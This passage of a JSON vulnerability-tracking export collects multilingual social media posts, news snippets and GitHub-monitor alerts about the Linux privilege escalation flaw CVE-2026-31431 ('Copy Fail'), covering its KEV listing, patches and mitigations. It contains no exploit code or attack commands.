\u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-31431\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kaleth4\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 18:59:54\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T19:00:04.000000Z"}, {"uuid": "9b56cac3-6a4a-49df-acb6-bb6420f0a017", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/technoholic.bsky.social/post/3mkxx5siuvv2o", "content": "CISA adds CVE-2026-31431 (CVSS 7.8), a Linux privilege escalation flaw, to KEV due to active exploitation. Stay updated and patch your systems!", "creation_timestamp": "2026-05-03T20:01:28.490347Z"}, {"uuid": "420b3200-cfc1-4a82-9329-b7ff9b07c4bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkykugmtvq2h", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T01:54:09.227573Z"}, {"uuid": "2a8cfaf3-4150-47dc-81fa-77f59a19ac34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mkxzsxq6vc26", "content": "CVE-2026-31431: The 732-Byte Script That Renders All Linux Kernel Defenses Since 2017 Obsolete +\u00a0Video\n\nIntroduction: A recently disclosed local privilege escalation (LPE) vulnerability identified as CVE-2026-31431 and codenamed \"Copy Fail\" has sent shockwaves through the cybersecurity community.\u2026", "creation_timestamp": "2026-05-03T20:49:07.050052Z"}, {"uuid": "2966a11d-0af0-4714-86a4-c93c206d8d78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/roberio-batista.bsky.social/post/3mky26vueic2b", "content": "Encontrado pelo Xint Code, a vulnerabilidade de seguran\u00e7a Copy Fail (CVE-2026-31431), foi corrigida no Debian, no Ubuntu, AlmaLinux OS e outras distribui\u00e7\u00f5es populares afetadas por essa falha.\n\nOBS: A descoberta foi feita com o apoio de uma ferramenta de intelig\u00eancia artificial chamada Xint Code.", "creation_timestamp": "2026-05-03T20:55:15.466684Z"}, {"uuid": "aca9c81c-0cf0-4891-b889-5375ad55d089", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82664", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CopyFail-for-dummies\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ChernStepanov\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C++\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-03 19:57:38\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nA tiny explanation + PoC for CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-03T20:00:04.000000Z"}, {"uuid": "39f7250e-1190-4124-a316-0cf53ed5ad37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mky376podd22", "content": "Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-03T21:13:50.042397Z"}, {"uuid": "078b3edc-35ed-4f05-a9cb-edda1cadf89b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ninjaowl.ai/post/3mky644nc6h2w", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV #cybersecurity #hacking #news #infosec #security #technology #privacy thehackernews.com/20...", "creation_timestamp": "2026-05-03T22:05:48.688945Z"}, {"uuid": "fcc825c0-7981-4b0a-934d-6a4f275a6996", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/frei-style.net/post/3mky7o5n4tk23", "content": "If you are talking about CVE-2026-31431 (Copy Fail.) then yes, it was discovered with the help of Theori Xint Code, an AI powered software, by the researcher Taeyang Lee who is working for Theori since 2019. Link to the write up: xint.io/blog/copy-fa...", "creation_timestamp": "2026-05-03T22:33:51.734106Z"}, {"uuid": "291d3b72-507b-4e55-ab51-83677d065e1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116513116081777494", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-31431, a Linux root access bug also known as Copy Fail, to its Known Exploited Vulnerabilities catalog due to active exploitation. This privilege escalation flaw allows unprivileged local users to gain root access by corrupting the kernel's page cache, posing a significant risk to cloud and containerized environments.https://thehackernews.com/2026/05/cisa-adds-actively-exploited-linux-root.html", "creation_timestamp": "2026-05-03T22:57:41.647420Z"}, {"uuid": "49036ce0-967b-4316-a0ee-4c56bb20af9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/icsda.bsky.social/post/3mkydottyfa2m", "content": "\u4f60\u5404\u4f4d\u7684cPanel\u53c8\u88abSorry\u52d2\u7d22\u4e86\u6c92\uff1f\ud83d\ude05 \u5225\u4ee5\u70baLinux\u5c31\u6c92\u4e8b\uff0cCISA\u628a\u90a3\u500bLPE\u6f0f\u6d1e\uff08CVE-2026-31431\uff09\u5217\u5165KEV\u6e05\u55ae\u5566\uff0c\u6839\u6b0a\u8981\u88ab\u596a\u8d70\u4e86\uff01Fortinet 8.0\u9084\u5728\u8b1bAI\u3001\u91cf\u5b50\u5b89\u5168\uff0c\u9019\u901f\u5ea6\u5dee\u6709\u9ede\u591a\u9f41\u3002\u8d95\u5feb\u4fee\uff0c\u4e0d\u7136\u660e\u5929\u5225\u60f3\u898b\u8001\u95c6\uff01 #\u8cc7\u5b89\u8b66\u5831 #Linux #\u52d2\u7d22\u8edf\u9ad4", "creation_timestamp": "2026-05-03T23:45:45.484702Z"}, {"uuid": "7bc6d0df-f3d5-488b-ade6-de2c95a54d8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/qhz-xmRgIk63jLSrK2_FE81USJ0RiYiUMNcM_dhi03aP8g", "content": "", "creation_timestamp": "2026-05-03T23:33:56.000000Z"}, {"uuid": "d5b406fd-020f-4a43-a078-fb4c6c5d4dfe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://threatintel.cc/2026/05/03/cisa-adds-actively-exploited-linux.html", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added CVE-2026-31431, a Linux root access bug also known as Copy Fail, to its Known Exploited Vulnerabilities catalog due to active exploitation. This privilege escalation flaw allows unprivileged local users to gain root access by corrupting the kernel’s page cache, posing a significant risk to cloud and containerized environments.", "creation_timestamp": "2026-05-03T20:57:51.000000Z"}, {"uuid": "9442d0ee-1a92-48a4-b777-bdf3b0b0c44f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mkyiolu2t72y", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nWSL2+Docker\u74b0\u5883\u306b\u304a\u3051\u308b\u3001CVE-2026-31431 (Copy Fail) \u3078\u306e\u5bfe\u7b56\u30e1\u30e2\n\nTL;DR \u7d50\u8ad6\u304b\u3089\u8a00\u3046\u3068\u3001\u300cDocker\u3092v29.4.2\u4ee5\u964d\u3078\u30a2\u30c3\u30d7\u30c7\u30fc\u30c8\uff08\u6052\u4e45\u7684\uff09\u300d\u3068\u300c.wslconfig\u306b\u3088\u308balgif_aead\u306e\u7121\u52b9\u5316\uff08\u66ab\u5b9a\u7684\uff09\u300d\u306e2\u6bb5\u69cb\u3048\u304c\u73fe\u72b6\u306e\u6700\u9069\u89e3\u3067\u3059\u3002 \u306f\u3058\u3081\u306b Linux\u30ab\u30fc\u30cd\u30eb\u306e\u6a29\u9650\u6607\u683c\u8106\u5f31\u6027\u300cCopy Fail\uff08CVE-2026-31431\uff09\u300d\u304c\u3001GW\u771f\u3063\u53ea\u4e2d\u306e\u4e16\u9593\u3092\u9a12\u304c\u305b\u3066\u3044\u307e\u3059\u3002 \u30ed\u30fc\u30ab\u30eb\u30e6\u30fc\u30b6\u30fc\u304c\u5bb9\u6613\u306broo\nhttps://zenn.dev/user_thebigslee/articles/41b570658f911b", "creation_timestamp": "2026-05-04T01:15:06.452468Z"}, {"uuid": "ae7b2bc8-a67f-41bb-a297-7551335973b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mkyklgfls62x", "content": "Re: Precise disclosure contents for copyfail (Re: [oss-security] CVE-2026-31431: CopyFail: linux local privilege scalation)", "creation_timestamp": "2026-05-04T01:49:06.736872Z"}, {"uuid": "3fbc1200-d904-4bb8-bf23-99ed68d8282a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/aimainainnu.bsky.social/post/3mkynce7sok2d", "content": "\u300cCopy Fail\u300dLinux \u30d0\u30b0\uff1a732\u30d0\u30a4\u30c8\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u30672017\u5e74\u4ee5\u964d\u306e\u307b\u307c\u3059\u3079\u3066\u306e\u30c7\u30a3\u30b9\u30c8\u30ea\u30d3\u30e5\u30fc\u30b7\u30e7\u30f3\u306b\u3066 root \u6a29\u9650\u306e\u53d6\u5f97\u304c\u53ef\u80fd\u306b - BigGo \u30cb\u30e5\u30fc\u30b9 \n\nLinux \u30ab\u30fc\u30cd\u30eb\u306b\u304a\u3051\u308b\u300cCopy Fail\u300d\u3068\u547d\u540d\u3055\u308c\u305f CVE-2026-31431 \u3068\u3044\u3046\u6df1\u523b\u306a\u8ad6\u7406\u30d9\u30fc\u30b9\u306e\u8106\u5f31\u6027\u306f\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u304a\u3088\u3073\u30af\u30e9\u30a6\u30c9\u30b3\u30f3\u30d4\u30e5\u30fc\u30c6\u30a3\u30f3\u30b0\u306e ... \nbiggo.jp/news/2026050...", "creation_timestamp": "2026-05-04T02:37:48.394653Z"}, {"uuid": "e603fb90-d509-4758-8601-597c6cf875d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/opsmatters.com/post/3mkyqmzp7ep2q", "content": "The latest update for #Mendit includes \"PhantomRaven Wave 5: New Undocumented NPM #SupplyChain Campaign Targets DeFi, #Cloud, and AI Developers\" and \"CVE-2026-31431 (Copy Fail): #Linux Kernel LPE\".\n \n#CyberSecurity #DevOps #OpenSource #Compliance https://opsmtrs.com/3zEYo7d", "creation_timestamp": "2026-05-04T03:37:22.796226Z"}, {"uuid": "3c8d5a7e-6492-4932-b97c-3dbcb69fcaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ytroncal.bsky.social/post/3mkysl5ppik2h", "content": "Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux www.linuxtricks.fr/news/10-logi...", "creation_timestamp": "2026-05-04T04:12:09.994475Z"}, {"uuid": "43a3e76b-c0b3-4dd7-9c46-b7a484cc009a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/c3iq.bsky.social/post/3mkyue4wbfs2a", "content": "Some have suggested that CVE-2026-31431 is a backdoor. What if all the backdoors are found?", "creation_timestamp": "2026-05-04T04:43:58.863859Z"}, {"uuid": "4520e360-cdef-4179-b247-11bc927c9385", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mkywi2vkq22g", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV\n\nThe U.S. Cybersecurity and Infrastructure Security Agency (CISA) on Friday added a recently disclosed security flaw impacting various Linux distributions to its Known Exploited Vulnerabilities (KEV) catalog,\u2026\n#hackernews #news", "creation_timestamp": "2026-05-04T05:21:59.110757Z"}, {"uuid": "32cc9e20-180d-4078-b811-0e39e1c2b9cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/qnap-nas-elevation-of-privilege-vulnerability_20260504", "content": "", "creation_timestamp": "2026-05-03T18:00:00.000000Z"}, {"uuid": "1d575e09-9337-4b9e-a455-e495ecaacdf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/82704", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a BigFix-CopyFail-AlmaLinux-Content\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kvendler\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 03:56:29\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nThis repository contains BigFix Content that I created for identifying the AlmaLinux systems that require patching to remediate CVE-2026-31431\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T04:00:04.000000Z"}, {"uuid": "5e3f6d25-6f47-486e-bd75-2036dde3520e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/tech-trending.bsky.social/post/3mkyypu7ozc2r", "content": "WSL2+Docker\u74b0\u5883\u306b\u304a\u3051\u308b\u3001CVE-2026-31431 (Copy Fail) \u3078\u306e\u5bfe\u7b56\u30e1\u30e2\nhttps://zenn.dev/user_thebigslee/articles/41b570658f911b", "creation_timestamp": "2026-05-04T06:02:09.178034Z"}, {"uuid": "5c5364eb-9cc5-4828-9ce0-dfd9d4a070ef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/reconbee.bsky.social/post/3mkyyzso4ms2g", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV reconbee.com/cisa-adds-ac...\n\n#CISA #linuxrootaccess #CVE #Linuxroot #cyberattack", "creation_timestamp": "2026-05-04T06:07:46.145954Z"}, {"uuid": "0d768853-e76f-4256-ac1d-782a835adda5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mkyzhcacfs2f", "content": "CISA Adds Actively Exploited Linux Root Access Bug CVE-2026-31431 to KEV thehackernews.com/2026/05/cisa...", "creation_timestamp": "2026-05-04T06:15:47.509227Z"}, {"uuid": "3385142c-2387-4d73-8456-0b2794029c5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/GithubRedTeam/82725", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a copy-fail-CVE-2026-31431-detection-probe\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ochebotar\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-05-04 05:58:51\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-05-04T06:00:04.000000Z"}, {"uuid": "9ed986f3-df9f-43d1-8a65-03441f88a57a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/mmmmmmpc.bsky.social/post/3mkz4o5vflk2j", "content": "Please Read: @suse.com response to #copyfail CVE-2026-31431 vulnerability:\n* It affects from SLES 12 SP5 to SLES 16\n* It affects Muti-Linux Support 8, 9 and 10\n* Patches have been released by SUSE Engineering\nPlease Patch!\nwww.suse.com/c/suse-respo...", "creation_timestamp": "2026-05-04T07:12:46.775184Z"}, {"uuid": "794c70b1-9496-409f-adbb-d9657f01850d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-31431", "type": "seen", "source": "https://bsky.app/profile/samuelvermeulenpro.bsky.social/post/3mkz4soqgbg2e", "content": "#ActuLibre - Copy Fail (CVE-2026-31431) : Synth\u00e8se technique sur cette faille Linux \u00e0 lire sur\nhttps://www.linuxtricks.fr/news/10-logiciels-libres/600-copy-fail-cve-2026-31431-synthese-technique-sur-cette-faille-linux/", "creation_timestamp": "2026-05-04T07:15:18.875973Z"}, {"uuid": "91f2ac63-a47d-4fce-a731-8b81c2ca307b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/3e01e7d3-c2be-4035-865c-115c5aef1b92", "content": "", "creation_timestamp": "2026-05-04T07:19:37.256007Z"}, {"uuid": "3ceffd20-c9ae-42fb-8598-2dacaa09812e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/adriend.linuxtricks.fr/post/3mkz75n7g4s2s", "content": "Apr\u00e8s la vid\u00e9o sur la faille Copy Fail (CVE-2026-31431), je vous propose cette fois-ci une analyse technique EN FRANCAIS ! (car ce type de contenu manque)\nJ'y ai pass\u00e9 mon dimanche matin !\nClin d'oeil \u00e0 @ponceto91.bsky.social et @korben.info \nwww.linuxtricks.fr/news/10-logi...\n\n#CopyFail #Linux", "creation_timestamp": "2026-05-04T07:57:13.728945Z"}, {"uuid": "bb0e9a66-aa47-4ae8-a5a5-f331db331830", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://ioc.exchange/users/sbeyer/statuses/116515265697196856", "content": "60 Sekunden Cyber KW18 2026, 27. April - 3. Mai:\nDaten von Kunden und Benutzern von Vimeo werden von der Gruppierung ShinyHunters ins Dark Net gestellt, Sicherheitsforscher finden mit Copy Fail eine seit 2017 (!) bestehende Schwachstelle (CVE-2026-31431), mit der man root-Zugriff auf allen bekannteren Linux-Distributionen erhalten kann, das NGO noyb klagt gegen die Hamburger https://podcasters.spotify.com/pod/show/60-sekunden-cyber/episodes/KW18-2026--27--April---3--Mai-e3ir1h5", "creation_timestamp": "2026-05-04T08:04:31.036122Z"}, {"uuid": "1bb3387c-8918-4b42-a7ed-8e35402300e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/r-blueteamsec.bsky.social/post/3mkzbjd4tlm2b", "content": "CVE-2026-31431\uff1a\u6211\u7528 DeepSeek \u590d\u73b0\u4e86 AI \u53d1\u73b0Copy Fail \u63d0\u6743\u7684\u5168\u8fc7\u7a0b - CVE-2026-31431: I used DeepSeek to reproduce the entire process of AI detecting Copy Fail privilege escalation.", "creation_timestamp": "2026-05-04T08:39:32.618452Z"}, {"uuid": "0c85ec5b-4449-4e06-b5b0-d00226bf3fc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/ronan.mastodon.ronandev.ovh.ap.brid.gy/post/3mkzekczzhrd2", "content": "https://security-tracker.debian.org/tracker/CVE-2026-31431\n\n\u00ab In the Linux kernel, the following vulnerability has been resolved: crypto: algif_aead - Revert to operating out-of-place This mostly reverts commit 72548b093ee3 except for the copying of the associated data. There is no benefit in [\u2026]", "creation_timestamp": "2026-05-04T09:36:43.160111Z"}, {"uuid": "6a7db408-7251-4e71-9200-1feed75e6d10", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "Telegram/T6MjwEy1GXd0xTLgBckUymGQqfeNIMlbkOpXvJPPSDtMl2M", "content": "", "creation_timestamp": "2026-05-03T15:00:06.000000Z"}, {"uuid": "c10078df-a913-4e2d-9bf1-b73b610760f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/se-nyheter.bsky.social/post/3mkzf6oblyq2a", "content": "Kritisk s\u00e5rbarhet utg\u00f6r ett hot mot Linux-anv\u00e4ndare\n\nhttps://www.europesays.com/se/236328/\n\nS\u00e4kerhetsforskare varnar f\u00f6r Copy Fail (CVE-2026-31431), en kritisk s\u00e5rbarhet som utg\u00f6r ett hot mot anv\u00e4ndare som k\u00f6r ett\u2026", "creation_timestamp": "2026-05-04T09:45:09.977462Z"}, {"uuid": "01f93a89-1924-427e-bfa4-15e7acca5f0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://ioc.exchange/users/sbeyer/statuses/116515712091156433", "content": "60 Sekunden Cyber KW18 2026, 27. April - 3. Mai:\nDaten von Kunden und Benutzern von Vimeo werden von der Gruppierung ShinyHunters ins Dark Net gestellt, Sicherheitsforscher finden mit Copy Fail eine seit 2017 (!) bestehende Schwachstelle (CVE-2026-31431), mit der man root-Zugriff auf allen bekannteren Linux-Distributionen erhalten kann, das NGO noyb klagt gegen die Hamburger Datenschutzbeh\u00f6rde wegen Unt\u00e4\nhttps://www.60-sekunden-cyber.de/kw18-2026/\n#cyber #cybersicherheit", "creation_timestamp": "2026-05-04T09:57:53.725787Z"}, {"uuid": "7b552709-1a9c-4415-b75c-938f6e0a846a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31512", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:40:58.210109Z"}, {"uuid": "bc5c800c-d496-44e0-b8dd-8dcc56015d2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31515", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:41:01.309775Z"}, {"uuid": "55562948-7799-4e08-a4ad-879bda6a2319", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31497", "type": "seen", "source": "https://www.hkcert.org/security-bulletin/ubuntu-linux-kernel-multiple-vulnerabilities_20260803", "content": "", "creation_timestamp": "2026-08-03T05:42:13.204985Z"}, {"uuid": "960dd99c-c976-4ca6-bdf9-149c5625e4a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://bsky.app/profile/bitralix.com/post/3mkzcvi4sff2j", "content": "\ud83d\udea8 La CVE-2026-31431 es una vulnerabilidad cr\u00edtica en Linux que exige una respuesta r\u00e1pida, sobre todo en hosting y servidores\n\n\u2705 En Bitralix hemos preparado un an\u00e1lisis con contexto, mitigaci\u00f3n y una minigu\u00eda para Ubuntu:\nbitralix.es/eqygy\n\n#Bitralix #CVE202631431 #Linux #Hosting #Ubuntu #Seguridad", "creation_timestamp": "2026-05-04T09:04:14.398721Z"}, {"uuid": "fa60b8a3-e1f2-4fed-841e-8849c2ad2c55", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://www.govcert.gov.hk/en/alerts_detail.php?id=1847", "content": "", "creation_timestamp": "2026-05-03T21:00:00.000000Z"}, {"uuid": "5fd1e53d-846a-4d54-a8d5-3c65994e09c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 